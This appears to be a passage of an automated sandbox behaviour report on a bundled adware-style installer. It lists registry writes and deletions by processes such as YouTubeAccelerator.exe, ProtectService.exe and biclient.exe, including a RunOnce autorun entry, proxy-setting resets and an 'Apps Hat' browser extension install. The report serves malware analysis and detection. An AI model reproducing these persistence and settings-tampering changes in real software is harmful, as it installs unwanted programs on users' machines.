[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "01 00 00 00"
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 31 A4 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"ThreadingModel" = "Both"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "7B 4E F2 36 0A 17 1F FF FF FF FF 64 22 18 AF D9"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"(Default)" = "Shell File System Folder"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"(Default)" = "%SystemRoot%\SysWow64\shell32.dll"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"0"

The process ins_postInst.exe:4064 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "E6 1B 13 CC D5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 42 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "07 C3 5D CF D5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "07 C3 5D CF D5 4F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ProtectService.exe:1956 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 06 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process ProtectService.exe:3492 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4D 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\IHProtect]
"ptid" = "smt"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process 8652fd7b-ad3d-42ae-954c-19d2b83040c5-4.exe:4516 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKLM\SOFTWARE\Wow6432Node\App Lid\Vq1RsUKqHILRCDnUmuXWl xptt4ltkj1/Bm5eLguQxNvsW9Eto77nveiVKs8S41Vzp6wu88OrbBq90It3DlclV9Efe6y2aUizTkn8l ubdi3HTLCHiOWXzBHZfQqLWGneRoOS1/ amUd2/ki1vti3v p5N4vEIXpjIAHb2r0VI=]
"KjGw6hjTU6izMN9Rbod9ZR3ndxBr149fP4HoEXfve7ogSsWQfBpoBMZGO3XMXUYIJ3LPkWmBJzYobBfvvd/AL6dA6RBXBQwzFj3zhm5hp5RfH4m6vPqE RD B2jDgnA1EGMmPwfn1wcOVhsNioH2lmGEHVCiljIBH YcdIGfTQE=" = "1"

[HKLM\SOFTWARE\Wow6432Node\App Lid\apiC9chgUiS5MJ2sXRJ6p3ANm2BbqQBDbfr9KU2tyvLCtvpiZGe1IxpRWRBFrNUUv47W1yrGIjejf92QvEyUArqW1wh9GNPpFnMqbSgrf1uavjSlXO5ydsxVrhH7q4InYuJ2v9Tl6lp9biDh/AmrxuMY8UoQ98awfhHHUogkmAE=]
"EFwMjIOHyBwxWa5Yl4aDX5AEKdWae i6GhYE/lYZsAfj0r31EfjnKrTn4w L4gBZiG8LzQppqLmqZvTpuv8cwFTPzPG1C40CNXK9f8P21yR566Ljs3e7vnDDJGq5Ll/O6CS2l6lhe2yy8DO t2YWfV4zRUUM3pVs0eqqpC2FjRI=" = "1"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process 5ca17.exe:2320 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "5E D6 1B EE D5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\InstalledBrowserExtensions\25286]
"65743" = "Apps Hat 1.5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "C3 4F 71 F0 D5 4F D0 01"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286]
"65743" = "Apps Hat 1.5"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 51 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286]
"65743" = "Apps Hat 1.5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "C3 4F 71 F0 D5 4F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process MsiExec.exe:4116 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\AedgePerformanceBCN\MS\5\1]
"InstallTime" = "1424743397"
"Result" = "5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\AedgePerformanceBCN\P\129\1]
"InstallTime" = "1424743397"
"Campaign" = "14776"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "A0 A3 9A F3 D5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached]
"{17FE9752-0B5A-4665-84CD-569794602F5C} {7F9185B0-CB92-43C5-80A9-92277A4F7B54} 0xFFFF" = "01 00 00 00 00 00 00 00 3B 1D 43 0E D6 4F D0 01"

[HKLM\SOFTWARE\Wow6432Node\AedgePerformanceBCN\P\129\1]
"Result" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "6C 9F 2B F6 D5 4F D0 01"

[HKLM\SOFTWARE\Wow6432Node\AedgePerformanceBCN\P\129]
"LastSuccessInst" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 56 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\AedgePerformanceBCN\MS\5\1]
"ProductID" = "129"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "6C 9F 2B F6 D5 4F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process GLJF557.tmp:1840 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFPpg2.AniGIFPpg2]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ToolboxBitmap32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx, 1"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus]
"(Default)" = "0"

[HKCR\AniGIFCtrl.AniGIF\CLSID]
"(Default)" = "{82351441-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\AniGIFPpg.AniGIFPpg]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFPpg2.AniGIFPpg2.1]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\AniGIFPpg.AniGIFPpg\CurVer]
"(Default)" = "AniGIFPpg.AniGIFPpg.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFCtrl.AniGIF\CurVer]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb\0]
"(Default)" = "&Properties,0,2"

[HKCR\AniGIFPpg2.AniGIFPpg2\CurVer]
"(Default)" = "AniGIFPpg2.AniGIFPpg2.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFCtrl.AniGIF]
"(Default)" = "Animation GIF Control"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\AniGIFPpg.AniGIFPpg.1]
"(Default)" = "AniGIFPpg Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Version]
"(Default)" = "1.5"

[HKCR\AniGIFPpg.AniGIFPpg.1\CLSID]
"(Default)" = "{6DC82D15-92F2-11D1-A255-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\0\win32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\FLAGS]
"(Default)" = "2"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb]
"(Default)" = ""

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ProgID]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\AniGIFCtrl.AniGIF\Insertable]
"(Default)" = ""

[HKCR\AniGIFPpg2.AniGIFPpg2.1\CLSID]
"(Default)" = "{61AB12E1-A5FF-11D1-B2E9-444553540000}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\HELPDIR]
"(Default)" = "C:\Windows\SysWow64\"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Programmable]

The process appshat.exe:3356 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process biclient.exe:3640 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "A8 52 25 B3 D5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1337851866"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 40 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "A8 52 25 B3 D5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "A8 52 25 B3 D5 4F D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"easyburnerit" = ""

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Internet Explorer\LowRegistry]
"AddToFavoritesInitialSelection"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Internet Explorer\LowRegistry]
"AddToFeedsInitialSelection"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process YouTubeAccelerator.exe:3396 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 31 A4 44 A3"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0C 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "35 2F 5E D6 D5 4F D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator]
"UiResVer" = "1000008"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "46 11 00 D9 D5 4F D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1424743306"

[HKCU\Software\Goobzo\YouTube Accelerator]
"CommTestBootNeeded" = "0"

